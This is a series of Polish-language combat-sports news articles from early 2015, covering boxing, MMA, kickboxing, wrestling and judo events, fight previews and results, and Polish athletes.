Wystarczyła informacja o wykryciu niedozwolonych środków w organizmie Spidera i od razu posypała się fala krytyki. Wiele opiniotwórczych ośrodków zaczęło nieprzychylnie wypowiadać się o Silvie. Spokojnie, poczekajmy. Skoro facet twierdzi, że jest czysty to dajmy mu szansę. Oczywiście – broni się to jasne, jednak dlaczego mamy mu nie wierzyć? Poczekajmy. Łatwo wydaje się opinie. Komisja Sportowa Stanu Nevada nie wydała jeszcze żadnego oświadczenia. Warto poczekać na oficjalne stanowisko władz i potwierdzenie wyników testów. Wszystko jest możliwie. Doping w sporcie jest powszechny i momentami nazwiska sportowców, którzy stosują substancje zakazane szokują. Jednakże warto do tych sytuacji podchodzi spokojnie, nie wyciągać pochopnych wniosków.

W stosunku do Diaza sytuacja wygląda inaczej, gdyż on już miał problemy z substancjami zakazanymi. Przypadek Silvy dla wielu jest zaskoczeniem. Skoro zawodnik podejmuje walkę to warto poczekać na oficjalne decyzje odpowiednich władz. Po doświadczeniu Lance’a Armstronga wszystko jest możliwe. Okazało się, że wielki mistrz kolarstwa przez wiele lat okłamywał cały świat. Czy przypadek Andersona Silvy będzie podobny? Poczekajmy z wyrokami i oczernianiem zawodnika. Na wszystko przyjdzie czas. Teraz najważniejsza jest kwestia ustalenia prawdopodobieństwa pomyłki w laboratorium.

KM

Gale na żywo w FightKlubie.

Sergio Mora kontra Abraham Han na gali ESPN

Nieprzespana noc czeka fanów gal z cyklu ESPN Friday Night Fights 2015. Z piątku na sobotę pokażemy na naszej antenie na żywo walkę Abraham Han – Sergio Mora. Powtórka w sobotę o godzinie 12:00. Zapowiada się ciekawy, dwunastorundowy pojedynek, którego stawką jest wakujący pas USBA w wadze średniej. Faworytem walki jest starszy od swojego rywala o cztery lata, 34-letni Mora, który w 2008 roku był posiadaczem tytułu mistrza świata federacji WBC. O tym, że mistrza nie można lekceważyć, przekonał się Grzegorz Proksa. Niecałe dwa lata temu podczas gali na Florydzie Mora wypunktował Polaka niszcząc jego marzenia o drugim podejściu do tytułu mistrza świata.W swoich ostatnich starciach „Latynowski Wąż” wyraźnie wygrywał z Dashonem Johnsonem, Samuelem Rogersem i Miltonem Nunezem. Czy potyczkę z Hanem również rozstrzygnie na swoją korzyść? W Beau Rivage Resort & Casino w Biloxi czeka go trudne zadanie, Han w swoim ostatnim pojedynku z Marcosem Reyesem udowodnił bowiem, że jest bardzo dobrym pięściarzem.

Włoska gala na żywo: Marcello Matano – Jussi Koivula

Stawką gali organizowanej we włoskiej Ferrarze jest wakujący interkontynentalny pas federacji IBF w wadze junior średniej. Jej faworytem jest niepokonany w ringu od blisko dwóch lat Koivula. Fin walczył będzie wprawdzie przeciwko wrogo nastawionej do niego publiczności, w swoich ostatnich starciach udowadniał jednak, że potrafi radzić sobie z presją, a potwierdzeniem tego są wygrane przed czasem ze Stiliyanem Kostovem i Ramazim Gogichashvilim. Z kolei Matano ostatnio pokonał wprawdzie z Kristiana Camino, we wrześniu przegrał jednak przez nokaut w dziewiątej rundzie z Felicem Moncellim. Transmisja w sobotę o godzinie 20:30 wyłącznie w FightKlubie!

Źródło: materiały prasowe

Twarzą w twarz

Władimir Kliczko stanął oko w oko z Bryantem Jenningsem podczas wczorajszej konferencji prasowej promującej walkę obu pięściarzy. Do pojedynku dojdzie 25 kwietnia w Madison Square Garden.

Walka, która odbędzie się na amerykańskiej ziemi będzie ogromnym wydarzeniem. Po pierwsze, Kliczko dawno nie walczył w USA. Po drugie, Wilder rozbudził apetyty amerykańskich kibiców, którzy teraz z całych sił wspierać będą Jenningsa, aby ten sprawił niespodziankę. Po trzecie, hala i renoma pojedynku dodają dodatkowego smaczku całemu wydarzeniu. Nie da się ukryć, że będzie to ogromne show. Szalejący kibice, a w ringu wielki Kliczko i Kopciuszek o nazwisku Jennings.

Obaj panowie spotkali się podczas konferencji prasowej, która miała na celu zapowiedź i promocję pojedynku. Kliczko jak na mistrza przystało zachwycał kulturą i urokiem osobistym. To stałe elementy w zachowaniu Ukraińca, które budzą ogromny szacunek oraz prezentują wielkość sportową mistrza wagi ciężkiej. O swoim rywalu Kliczko powiedział: – On jest jak Rocky Balboa z Filadelfii. Czy faktycznie 25 kwietnia Jennings zaskoczy mistrza i wytrwale będzie dążył do realizacji swoich marzeń? De facto Amerykanin wcale z Ukraińcem walczyć nie musiał. Mógł stanąć w ringu z Deontayem Wilderem, gdyż był pretendentem do tytułu WBC. Zdecydował się na Kliczkę. Jennings wybrał zadanie zdecydowanie trudniejsze, jednakże druga taka okazja mogła się nie trafić, więc podjął odważną decyzję. Amerykanin spróbuje odebrać mistrzowi z Ukrainy cztery pasy: IBF, WBA, WBO, IBO.

Kliczko ze spokojem i szacunkiem dla przeciwnika podchodzi do pojedynku. Wie, że Jennings jest młodszy oraz dysponuje sporym repertuarem zagrań. – Osiągnięcia Bryatna Jenningsa budzą mój szacunek. Wiem doskonale, że dobrze się porusza i ma niezłą technikę. Zdaję sobie sprawę, iż walka nie będzie łatwa – powiedział mistrz świata wagi ciężkiej. Kliczko jest już zaprawiony w takich bojach. Nie jeden ani nie dwa razy stawał do rywalizacji z przeciwnikami, którzy chcieli spełnić swoje marzenia. Dużo mówili, ba – nawet obiecywali, ale na obietnicach się kończyło. Kliczko ma świadomość tego jaki poziom prezentuje, więc z pewnością w rywalizacji z Jenningsem da swojemu rywalowi czas.

Amerykanin wierzy w swoje możliwości. Fakt, że będzie walczył u siebie jest dla niego dodatkową motywacją, jednak na starcie nie jest w pozycji uprzywilejowanej. Choć jak sam podkreśla – wierzy, że dokona czegoś historycznego. – 25 kwietnia będzie miało miejsce historyczne wydarzenia. Ja będę jego autorem – mówił Jennings. Po raz kolejny amerykański bokser powtórzył frazę o powrocie pasów do domu. Czy Jennings postawi ciężkie warunki Ukraińcowi?

Zainteresowanie pojedynkiem jest ogromne. W pierwszej godzinie sprzedaży biletów wykupiono pięć tysięcy wejściówek. W Madison Square Garden zasiądzie około dwudziestu jeden tysięcy widzów. Będę wspierać swojego rodaka, jednak Kliczko jest wielkim mistrzem, który koncentruje się na tym, co w ringu. Ukrainiec jest ikoną wagi ciężkiej, wielkim mistrzem. Mówią, że trzeba wiedzieć, kiedy ze sceny zejść, ale w przypadku Kliczki ten czas jeszcze nie nadszedł. Chyba, że Jennings przyłoży do tego rękę.

KM

Fenomenalny występ polskich zapaśników

Brawo, brawo i jeszcze raz brawo! Polscy zapaśnicy pokazali się z bardzo dobrej strony podczas Grand Prix w Paryżu. Biało – czerwoni wywalczyli trzynaście medali.

Wynik cieszy, gdyż to dopiero początek przygotowań do sezonu. Pierwsze starty i takie osiągnięcia budzą nadzieję, ale trzeba zachować pewną dozę spokoju. Naszych zawodników czeka okres ciężkiej i wytężonej pracy przed kolejnymi zawodami. Jednakże występ w Paryżu jest godny odnotowania.

Szkoda tylko, że z tych trzynastu medali jeden jest złoty. Ale jak to mówią: lepszy rydz niż nic. Poważnie rzecz ujmując, do startu w Paryżu trzeba podejść spokojnie. Początek sezonu, występy bardzo dobre okraszone nagrodami pozwalają twierdzić, że okres przygotowawczy został solidnie przepracowany. Po złoty medal w stylu klasycznym w kategorii wagowej 61 kg sięgnął Mateusz Bernatek z AKS Piotrków Trybunalski. Na podium znalazł się także drugi z naszych reprezentantów. Trzecie miejsce wywalczył Dawid Kareciński ze Śląska Wrocław.

Drugie miejsce w kategorii 85 kg w klasyku zajął Damian Janikowski. Najlepszy i najbardziej rozpoznawalny polski zapaśnik jest naszą nadzieją na kolejne medale z wielkich imprez. Janikowski podczas Igrzysk Olimpijski w Londynie wywalczył brązowy krążek. Liczymy, że za rok w Rio de Janeiro pokaże się również z dobrej strony. W Paryżu na trzecim miejscu w kategorii 85 kg uplasował się Tadeusz Michalik z Sobieski Poznań. Ponadto, w stylu klasycznym Polska wywalczyła jeszcze jeden medal. Po brąz w kategorii 80 kg sięgnął Mateusz Wolny z Unii Racibórz.

W stylu wolnym nasi reprezentanci wywalczyli cztery medale – trzy srebrne i jeden brązowy. W kategorii wagowej 61 kg drugie miejsce zajął Krzysztof Bieńkowski z AKS Białograd. Srebro trafiło w 70 kg do Magomedmurada Gadzhieva. W kategorii 86 kg zdobyliśmy dwa medale. Srebro wywalczył Radosław Marcinkiewicz z Orła Namysłów, brąz przypadł Sebastianowi Jezierzańskiemu z LKS Dąb Brzeźnica.

Nasze reprezentantki do dorobku medalowego dołożyły cztery krążki. W kategorii 48 kg druga była Iwona Matkowska, trzecie miejsce wywalczyła Anna Łukasiak. Dwa medale nasze zawodniczki zdobyły w wadze 53 kg. Srebro wywalczył Roksana Zasina, brąz Katarzyna Krawczyk.

Trzynaście medali przywiezionych z Paryża to dobry prognostyk. Nasi zapaśnicy dobrze rozpoczęli sezon, ale czeka ich jeszcze dużo pracy. To dopiero początek sezonu. Do najważniejszych wydarzeń w tym roku pozostało jeszcze trochę czasu. Priorytetem jest jak najlepszy występ podczas czerwcowych Igrzysk Europejskich w Baku. Liczymy również na dobre starty na mistrzostwach świata w Las Vegas, które odbędą się we wrześniu. Tymczasem należy kontynuować wytężoną pracę, aby przyniosła ona owoce w najważniejszym momencie. Kolejny start naszych zapaśników 13 lutego podczas turnieju w Klippan.

KM

Agnieszka Rylik

Polska bokserka i Kick-boxerka urodzona 21 stycznia 1974 roku w Kołobrzegu.  Przygodę ze sportem rozpoczęła w wieku 15 lat. W wieku 15 lat przyszedł też pierwszy sukces, mistrzostwo Polski seniorek.  Dwa lata później w wieku 17 lat Agnieszka została mistrzynią Świata.  Sukcesy amatorskie szybko przeniosła na zawodowe ringi, gdzie w 1994 roku zdobyła zawodowe Mistrzostwo Europy, a w 1995 roku zawodowe Mistrzostwo Świata. Łącznie w Kickboxingu zdobyła cztery mistrzostwa Świata, trzy Mistrzostwa Europy oraz dwa Mistrzostwa Polski. Kolejnym krokiem w zawodowej karierze Agnieszki było przejście z kickboxingu na boks. W 2000 roku zadebiutowała na zawodowym ringu zwyciężając przez nokaut z reprezentantką Węgier Szilvią Porteleki.  Kolejne trzy walki przyniosły trzy zwycięstwa przed czasem. Te wygrane dały Agnieszce szanse walki o pas mistrzowski.  O pas zawalczyła z Kanadyjką Dianą Dutrą. Agnieszka wygrała walkę przez nokaut w czwartej rundzie.  W 2003 roku Agnieszka doznała swojej jedynej porażki w karierze bokserskiej. Stawką pojedynku był pas WIBO w wadze lekko półśredniej. Rylik przegrała na punkty decyzją sędziów.  Rok po porażce Agnieszka wróciła silniejsza i pokonała Elizę Olson zdobywając pasy mistrzowskie dwóch federacji.  Swoją ostatnią walkę stoczyła w 2005 roku w Madison Square Garden. Jej rywalką była Tawnyah Freeman. Agnieszka wygrała jednogłośną decyzją sędziów.  Po tym pojedynku przez liczne kontuzje zakończyła karierę sportową.

Belgijskie zdobycze Polek

Reprezentacja Polski judoczek pod okiem Anety Szczepańskiej wzięła udział w międzynarodowym turnieju Belgian Ladies Open. Zawody odbyły się w formule dla zawodniczek do 21 lat i od 21 lat.

Wraz z początkiem lutego (turniej miał miejsce 1 lutego) żeńska reprezentacja Polski w judo zainaugurowała starty w roku 2015. Biało – czerwone pokazały się z dobrej strony i do kraju wrócą z dorobkiem czterech medali. Ponadto, Polki wywalczyły dwa piąte miejsca. Start jak najbardziej udany i obfitujący w sukcesy, co napawa optymizmem w perspektywie kolejnych startów.

W Arlon po złoty medal sięgnęła Katarzyna Furmanek. Zawodniczka AZS AWFiS Gdańsk w finale pojedynku w kategorii wagowej +78 kg pokonała reprezentantkę Francji – Annę Fatoumata M'Bairo. Warto nadmienić, że dla Polki był to występ w nowej kategorii. Wcześniej startowała w niższej wadze. Jak widać – Furmanek już przystosowała się do nowych warunków rywalizacji. 24-letnia zawodniczka, która swoją przygodę z judo rozpoczynała w Gwardii Piła, w swojej karierze sięgnęła po brązowy medal Mistrzostw Europy Juniorów w 2008 oraz wywalczyła brązowy medal na Uniwersjadzie w Belgradzie rok później. Jednakże największym osiągnięciem naszej reprezentantki bez wątpienia jest brąz zdobyty drużynowo podczas ubiegłorocznych mistrzostw Europy seniorek. Występ w Belgii pokazał, że Katarzynę Furmanek czeka ciekawy sezon, do którego jest solidnie przygotowana. oby kontynuowała dobre starty.

Gdyby nie Juul Fransen to cieszylibyśmy się z drugiego złota. Reprezentantka Holandii w finale pojedynku w kategorii 63 kg okazała się lepsza od Karoliny Tałach. Zawodniczka Wybrzeża Gdańsk jest przykładem dokonywania ustawicznych postępów. W 2013 roku Tałach podczas mistrzostw Europy młodzieży sięgnęła po brązowy medal. Rok później podczas European Open w Tallinie sięgnęła po brązowy medal. Ponadto, Tałach wraz z koleżankami zdobyła brązowy medal podczas mistrzostw Europy we Francji. Jak widać z każdym rokiem nasza judoczka odnosi sukcesy na coraz wyższym poziomie. Z pewnością dużą rolę odgrywa baczne oko Anety Szczepańskiej, która pozytywnie wpłynęła na żeńską reprezentację i nadała jej blasku.

Kontynuując temat medalowych zdobyczy, w Arlon srebro w kategorii wagowej 52 kg zdobyła Agata Perenc. W tej samej wadze brąz wywalczyła Karolina Pieńkowska. Można powiedzieć, że Polki zdominowały rywalizację w kategorii 52 kg. Niewiele do szczęścia zabrakło Perenc, która w finałowej rozgrywce przegrała z Julią Russo. Na tej samej zawodniczce potknęła się Pieńkowska. Ponadto, Polska wywalczyła w Arlon dwa piąte miejsca. W kategorii 48 kg tuż za podium uplasowała się Joanna Stankiewicz, a w wadze 63 kg Justyna Karpała.

Dobry występ naszych reprezentantek podczas turnieju Belgian Ladies Open. Występ okraszony czterema medalami. Czuć smak sukcesu. Niech ów pierwszy start w tym roku będzie cudownym wstępem do jakże pięknych i smakowitych występów w dalszej części sezonu.

KM

Glory walczy o swoje

Organizacja Glory World Series jest wiodącą marką zawodowego kickboxingu na świecie. W swojej działalności poświęca także uwagę mieszanym sztukom walki. Marka organizacji jest istotna, więc należy o nią dbać. Glory postanowiła odnowić kontrakty z kilkoma fighterami.

Oczywiste jest, że widzów na galę przyciągają efektowni i efektywni zawodnicy. Silne uderzenia i nokauty są domeną Zacka Mwekassy, z który przedłużono umowę. 31-letni zawodnik wprawił w zachwyt nie tylko kibiców, ale i władzy organizacji Glory. Styl Mwekassy jak najbardziej pasuje do marki, a co najważniejsze – działa na jej korzyść. Fighter do tej pory wystąpił w trzech walkach dla Glory. Dwie wygrał, zanotował jedną porażkę. Jego ofiarami padli Pat Barry i Brian Collette.

Joe Schilling jest ogromną nadzieją Glory. Zarówno sportową, gdyż jest umiejętności predysponują go do bycia mistrzem kickboxingu, ale również marketingową. Włodarze organizacji liczą, że Schilling przyciągnie amerykańskich fanów na galę i przed ekrany telewizorów. Do tej pory Amerykanin dla Glory stoczył sześć walk – cztery wygrał, dwie przegrał. Debiutował we wrześniu 2013 roku, kiedy to na punkty pokonał Kengo Shimizu. Na gali Glory 12 przegrał z Wayne’m  Barretem, ale wziął na nim rewanż Glory 17. W swoim ostatnim pojedynku jednogłośnie na punkty uległ Rosjaninowi Artemowi Levinowi, z którym we wrześniu 2013 roku i wtedy ze starcia wyszedł zwycięsko. Na gali Glory 19 Schilling ma rywalizować z Kanadyjczykiem Robertem Thomasem. Warto nadmienić, że Amerykanin próbuje swoich sił w MMA. W listopadzie walczył dla Bellatora i pokonał Melvina Manhoefa. Schilling jest wszechstronnym zawodnikiem. Związany z kickboxingiem , ale swoich sił próbuje również w MMA. Dla Glory to cenny zawodnik, który ma wyraźnie wpływać na utwierdzanie poziomu marki organizacji.

Podpisanie nowych umów z Mwekassą oraz Schillingiem to z pewnością krok naprzód. Warto dodać, że Glory przedłużyło kontrakty z Artemem Vakhitovem i Joshem Jaunceyem. Jednak jest pewien problem. Nadal nie wiadomo, co dalej z Gokhanem Sakim oraz Tyrone’m Spongiem. Bez wątpienia to ogromne gwiazdy, których strata dla Glory byłaby ogromnym ciosem. Turek, który w 2011 roku zajął 1. miejsce w Glory World Series, w swojej karierze pokonał takich zawodników jak Alistar Overeem czy Daniel Ghite. 31-latek to czołowy kickbokser wagi ciężkiej. Swego czasu mistrz świata i Europy. Z kolei Spong to wielki mistrz Glory w wadze półciężkiej. Fighter z Surinamu znany jest z długich zwycięskich serii. Światu zaprezentował się w 2005 roku i od tamtego czasu obecny jest na największych imprezach. Saki i Spong to kolejne cele Glory. Z pewnością są to zawodnicy gwarantujący wysoki poziom oraz zainteresowanie. Czy dołączą do Schillinga i Mwekassy?

KM

Brazylijka kolejnym wyzwaniem Kowalkiewicz

Karolina Kowalkiewicz poznała nazwisko swojej najbliższej rywalki, z którą zmierzy się podczas gali KSW 30 w Poznaniu. Mistrzyni wagi słomkowej stoczy pojedynek z Brazylijką Kalindrą Farią.

Karolina Kowalkiewicz to obecnie, obok Joanny Jędrzejczyk, najbardziej znana zawodniczka mieszanych sztuk walki w Polsce. Zawodniczka z Łodzi w 2013 roku zdobyła pas KSW w kategorii słomkowej pokonując Martę Chojnoską. Do tej pory Kowalkiewicz raz broniła tytułu. Bez problemów pokonała Jasminkę Cive z Austrii. W listopadzie zeszłego roku nasza fighterka próbowała swoich sił za oceanem. Kowalkiewicz zadebiutowała w organizacji Invicta FC i w swojej pierwszej walce pokonała zawodniczkę z Japonii Mizouke Inoue. Teraz przed polską gwiazdą MMA kolejne wyzwanie. W Poznaniu zmierzy się z Kalindrą Farią. Dla Kowalkiewicz może być to najtrudniejszy pojedynek w dotychczasowej karierze. Faria to mocna zawodniczka.

Brazylijka dotychczas stoczyła dwadzieścia walk w MMA, z których w piętnastu triumfowała. Faria mierzyła się nawet z numerem jeden na świecie – Jessicą Aguilar. Brazylijka toczyła wyrównany bój, ale przegrała. Faria notowana jest jako dziewiąta zawodniczka na świecie, Kowalkiewicz zajmuje siódmą pozycję. W Poznaniu dojdzie więc do rywalizacji fighterek wysokich lotów. Czy Brazylijka odbierze pas Polce? Faria trenuje pod okiem Jorge Patino i ustawicznie rozwija się. Brazylijka wywodzi się z muay tai oraz jiu jitsu.

Faria to mocna zawodniczka, która ma dobry bilans i jest wszechstronną fighterką. Z pewnością jest to ogromne wyzwanie dla Karoliny Kowalkiewicz. Polka po zagranicznych wojażach stanie w obronie pasa KSW. Jeśli chce robić kolejne kroki w swojej karierze koniecznie musi wygrać. Skoro zwyciężyła w USA Mizouke Inoue, która jest uznaną zawodniczką MMA to w rywalizacji z Farią nie ma podstaw do obaw. Warto sobie jasno powiedzieć – Kowalkiewicz idzie do przodu i nie można obawiać się rywalizacji z zawodniczką z Brazylii. Choć Faria zapowiada się na trudną rywalkę należy stawić jej czoła. W końcu Kowalkiewicz jest mistrzynią KSW.

MMA jest coraz bardziej popularne w naszym kraju. Zdobywa kolejne rzesze fanów, ale także fighterzy coraz chętniej próbują swoich sił na tej płaszczyźnie. Na debiut w MMA czeka Katarzyna Sadura, koleżanka Karoliny Kowalkiewicz z Gracie Barra Łódź. Do tej pory zawodniczka uprawiła taekwon-do oraz judo. Treningi MMA rozpoczęła już wcześniej aż w końcu nadszedł czas na rozpoczęcie nowej przygody. Katarzyna Sadura swoją premierową walkę stoczy 13 marca w Kaliszu podczas kolejnej gali PLMMA. Jej rywalką będzie Barbara Nalepka, z którą rywalizowała już na amatorskich zawodach. Wtedy zwyciężyła Sadura. Czy tym razem będzie podobnie? Wspólne treningi z Kowalkiewicz z pewnością są dodatkowym atutem i wsparciem dla Sadury. Od doświadczonej koleżanki może wiele się nauczyć.

Kolejna zawodniczka w MMA. Katarzyna Sadura zadebiutuje w Kaliszu. Karolina Kowalkiewicz poznała swoją rywalkę na KSW 30. Z pewnością Faria będzie wymagającą rywalką, ale mistrzyni musi pokazać klasę.

KM

Głowacki zdobył pas WBO European

Podczas gali Wojak Boxing Night w Toruniu Krzysztof Głowacki sięgnął po pas WBO European w kategorii cruiser. Polski pięściarz na punkty pokonał Nuriego Seferiego.

Walka bardziej przypominała rozgrywkę szachową niż walkę bokserską. Obaj pięściarze byli otrożni i prezentowali się w ringu bardzo zachowawczo. Seferi nie miał pomysłu na zaskoczenie swojego rywala, choć początkowo przejawiał chęć do rywalizacji. Albańczyk był aktywniejszy, ale bez efektów. Z czasem kontrolę nad pojedynkiem zaczął przejmować Głowacki. Polak wykorzystywał przewagę fizyczną i trzymał boksera z Albanii na dystans. Seferi nie mógł sobie poradzić z taktyką zastosowaną przez Głowackiego i ani razu nie zagroził pięściarzowi z Wałcza. Pod koniec pojedynku Polak zamknął Albańczyka w narożniku, czym podkreślił swoją przewagę . Głowacki trafiał przeciwnika mocnymi ciosami, a Seferi nie potrafił w żaden sposób odpowiedzieć. Na dystansie dwunastu rund pięściarze nie rozstrzygnęli walki, więc decyzja należała do sędziów. Arbitrzy byli jednogłośni w swojej ocenie – 118-110, 118-110, 120-108 dla Głowackiego, który tym samym zdobył pas WBO European.

28-letni bokser wygrał eliminator WBO i znacznie przybliżył się do walki o mistrzowski pas. Czempionem tej organizacji w kategorii cruiser jest Marco Huck. Z pewnością dla Głowackiego obecnie to rywal z innej galaktyki. Reprezentujący Niemcy Huck próbował nawet sił w wadze ciężkiej, ale trudno tą przygodę uznać za udaną. W ciekawym starciu z Aleksandrem Poviekinem przegrał na punkty. A pas WBO Huck dzierży w swych dłoniach od 2009 roku. Warto zanzaczyć, że Głowacki doskonale zna czempiona wagi cruier. Zamierzchłe czasy. Głowacki i Huck spotkali się podczas meczu rewanżowego Orła Wałcz z loklanym zespołem z Bad Essen. Wtedy z urodzonym w Ugao pięściarzem rywalizował Jacek Głowacki, który poniół porażkę. Po pojedynku doszło do awantury. Krzysztof Głowacki nie mógł pogodzić się z porażką brata i wdał się w pyskówkę z Huckiem oraz jego kolegami. Było gorąco. Czy Głowacki będzie miał okazję zmierzyć się z reprezentantem Niemiec? Nie ulega wątpliwości, że polski bokser jest ambitny i wie, o co toczy się gra. Ponadto, bardzo chce zmierzyć się z Huckiem. Teoretycznie trudno dawać mu wielkie szanse, ale w ringu wszystko jest możliwe.

Wracając do gali w Toruniu. Do ciekawego starcia doszło w kategorii super koguciej. Piotr Gudel na punkty pokonał Krzyztofa Rogowskiego. Kolejną wygraną zanotował Marek Matyja. Bokser wagi półciężkiej przez TKO zwyciężył w trzeciej rundzie Stjepana Bozica. Na gali zaprezentowała się Ewa Piątkowska. W pojedynku z Sabrine Giuliani Polka wygrała jednogłośnie na punkty.

Najważniejsza informacja z Torunia – Krzysztof Głowacki wygrał i zdobył pas WBO European. Polak jest coraz bliżej walki o mistrzowski pas. Czy i kiedy stanie w ringu z Huckiem?

Walka wieczoru – elimnator WBO: Krzysztof Głowacki pokonał na punkty Nuriego Seferiego

Pozostałe walki: 

Piotr Gudel na punkty pokonał Krzysztofa Rogowskiego

Marek Matyja pokonał przez TKO Stjepana Bozica  

Ewa Piątkowska pokonała na punkty Sabrine Giuliani

Maciej Miszkin pokonał na punkty Dmitrijsa Ovsjannikovsa

Krzysztof Kosela pokonał na punkty Floriansa Strupitsa

KM

Kickboxing zagości w Suwałkach

Utytułowani i klasowi fighterzy zaprezentują się publiczności podczas gali Suwałki Kick-Boxing Night. Impreza odbędzie się w Ośrodku Sportu i Rekreacji przy ulicy Wojska Polskiego 2. Głównymi organizatorami gali są trener Suwalskiego Klubu Kickboxing Panzer Suwałki – Łukasz Szczodruch oraz Piotr Siegoczyński.

Impreza ma na celu promocję Suwalszczyzny. Ponadto, będzie ogromną atrakcją dla publiczności głodnej wrażeń. Na ringu zaprezentują się znani fighterzy, którzy odnoszą sukcesy na arenach międzynarodowych. Organizatorzy mają nadzieję, że gala w Suwałkach stanie się stałym punktem na mapie Polski.

Wiele ciekawych pojedynków czeka publiczność zgromadzoną w Ośrodku Sportu i Rekreacji. W wadze 57 kg zaprezentuje się utalentowany Patryk Kuryłek reprezentujący Wicher Kobyłka. Jego rywalem będzie  Mateusz Pietrucha z TO Team Otwock. W Suwałkach swoją walkę stoczy Jakub Bartnik, który w 2014 roku wywalczył tytuł młodzieżowego mistrza Polski w K-1. Naprzeciw wojownika z Warki stanie Mateusz Kowalski z Championa Gdańsk.

W K-1 kolejny pojedynek stoczy Mateusz Żukowski. Zawodnik Terlika Team Mikołajki w grudniu okazał się lepszy w rywalizacji z Jakubem Bartnikiem. Tym razem zmierzy się z Patrykiem Kamińskim z Gdańska. Żukowski to silny i dynamiczny fighter, który w każdej walce pokazuje swoje atuty. Czy tym razem olśni publiczność? W ringu zaprezentuje się Kamil Ruta reprezentujący barwy klubu z Kobyłki. Wielka nadzieja polskiego kickboxingu mimo młodego wieku ma już CV pełne sukcesów. Ruta w 2013 roku w Turcji został mistrzem świata w kick-light w kategorii 79kg, w Seged wywalczył Puchar Świata w kick-light, a na ubiegłorocznych mistrzostwach Europy WAKO w Mariborze wywalczył srebrny medal w kick-light. Kariera zawodnika z Kobyłki nabiera rozpędu. W Suwałkach w K-1 rywalem Ruty będzie zawodnik X-Fight Piaseczno Mark Kołątaj.

Organizatorzy gali zaplanowali dwie walki wieczoru. W kategorii 75kg w K-1 zmierzą się Dominik Szczodruch i Lech Rosiński. Zawodnik Panzera Suwałki na krajowej arenie prezentuje się bardzo dobrze. Szczodruch zwycięża na galach organizowanych w Polsce, a także zdobywa medale – brąz podczas Mistrzostw Polski Służb Mundurowych w 2013 roku.  Z kolei Rosiński to doświadczony fighter, medalista mistrzostw Polski. Zawodnik X-Fight Piaseczno stanie przed trudnym zadaniem. Szczodruch będzie miał wsparcie z trybun, czy magia dopingu zadziała?

Gwiazdą wieczoru będzie Łukasz Wichowski. Zawodnik z Piaseczna stoczy pojedynek w formule full-contact z Sebastianem Prokopem z Nowego Miasta Lubawskiego. Wichowski ustawicznie rozwija się i robi postępy. Obecnie jest jednym z najbardziej cenionych polskich fighterów, czego najlepszym wyrazem jest fakt, że podczas licznych gal honorowany jest występami w walkach wieczoru. Wichowski jest zawodowym młodzieżowym mistrzem Polski w full contact w kategorii 81kg. Z kolei Prokop podczas mistrzostw kraju w full contact w Kurzętniku doszedł do finału, gdzie przegrał z Robertem Krasoniem. Fighterzy powinni zaprezentować najwyższy możliwy poziom. Obaj są mistrzami w swojej dziedzinie.

Gala w Suwałkach będzie okazją do popularyzacji kickboxingu w nowym rejonie Polski. Czy Suwałki na stałe zagoszczą na mapie sportów walki? W karcie walk nie brakuje gwiazd. Nic tylko cieszyć się rywalizacją na najwyższym poziomie.

Początek gali o 20:00 (30 stycznia 2015, Suwałki).

Rozpiska:
-57 kg K-1: Patryk Kuryłek (Wicher Kobyłka) vs Mateusz Pietrucha (KO Team Otwock)
-86 kg K-1: Adam Dubin (Panzer Suwałki) vs TBA
-70 kg K-1: Tomasz Kalinowski (Panzer Suwałki ) vs TBA
-81 kg K-1: Jakub Bartnik (X Fight) vs Mateusz Kowalski (Champion Gdańsk)
-67 kg K-1: Hubert Klaus (Panzer Suwałki) vs Krzysztof Kołodziejczyk (Arrachion MMA Mrągowo)
-86 kg K-1: Mateusz Żukowski (Terlik Team Mikołajki) vs Patryk Kamiński (Champion Gdańsk)
-95 kg K-1: Dawid Krajewski (Panzer Suwałki) vs Kamil Laskowski (Zambrów)
-70 kg K-1: Emil Korżyński (Panzer Suwałki) vs Andrzej Gajewski (Fighter Giżycko )
-81 kg K-1: Kamil Ruta (Wicher Kobyłka) vs Mark Kołątaj (X Fight Piaseczno)

Walki wieczoru:
-75 kg K-1: Dominik Szczodruch (Panzer Suwałki) vs Lech Rosiński (X Fight Piaseczno)
-81 kg FC: Łukasz Wichowski (X Fight Piaseczno) vs Sebastian Prokop (MUKS Olimpia Nowe Miasto Lubawskie)   

KM

 

Koniec treningów w Japonii

Kadra Polski seniorów przez niecały miesiąc przebywała na zgrupowaniu w Japonii. Nasi reprezentanci intensywnie przygotowywali się do tegorocznych startów. Treningi biało-czerwonych w ojczyźnie judo z pewnością były istotnym elementem budowania formy.

W Tsukubie oprócz męskiej kadry trenowali także zawodnicy AZS AWF Katowice. Niektórzy judocy mieli okazję ćwiczyć na Uniwersytecie Yamanshi, co było dodatkowym smaczkiem pobytu w Japonii. Oprócz Polaków w Tsukubie gościły kadry z Belgii, Węgier oraz Ukrainy. Nasi reprezentanci mieli okazję podejrzeć w akcji mistrzów z Japonii – Hiroakiego Hiroakę (60 kg), Junpeia Morishitę (66 kg) czy Hiroyukiego Akimoto (73 kg).Niecały miesiąc pobytu w Kraju Kwitnącej Wiśni z pewnością był istotnym czasem dla biało-czerwonych. Polacy mieli możliwość roztrenowania się oraz przygotowania organizmów na nadchodzący sezon. W przypadku zgrupowań często pojawiają się kontuzje, jednak naszych reprezentantów nie dotknęły poważne urazy.

Przed biało – czerwonymi bardzo wymagający rok. W końcu trwa walka o kwalifikacje do Igrzysk Olimpijskich w Rio de Janeiro. Pobyt w Japonii był o tyle cenny, że biało – czerwoni mogli spokojnie trenować w dobrych warunkach i bez zbędnego obciążenia. Ważne, aby z dobrym akcentem weszli w nowym sezon, gdyż czas będzie uciekał. Momentami z pewnością pojawią się nerwy, czy uda się wywalczyć bilet do Rio.

Ważnym przetarciem dla naszych judoków będzie warszawski Open Men Senior, który odbędzie się w dniach 28 luty – 1marca. Nasi reprezentanci muszą walczyć o punkty podczas Pucharów Świata i Grand Slamów. Jednakże nie ma lepszej okazji do uzyskania przepustki do Rio niż dobre występy na imprezach rangi mistrzowskiej. W kwietniu w Glasgow odbędą się mistrzostwa Europy. Pod koniec sierpnia w Astanie czekają nas mistrzostwa świata. Polskie judo wychodzi na prostą, zdobywamy medale, jednakże lepiej prezentują się panie. Być może w końcu panowie przełamią się i wywalczą medal. Ostatnim męskim medalistą mistrzostw świata w judo był Robert Krawczyk, który w 2003 roku w Osace zdobył brąz. Po jedenastu latach medal dla  Polski wywalczyła Katarzyna Kłys. Musieliśmy tak długo czekać na krążek z mistrzostw świata.

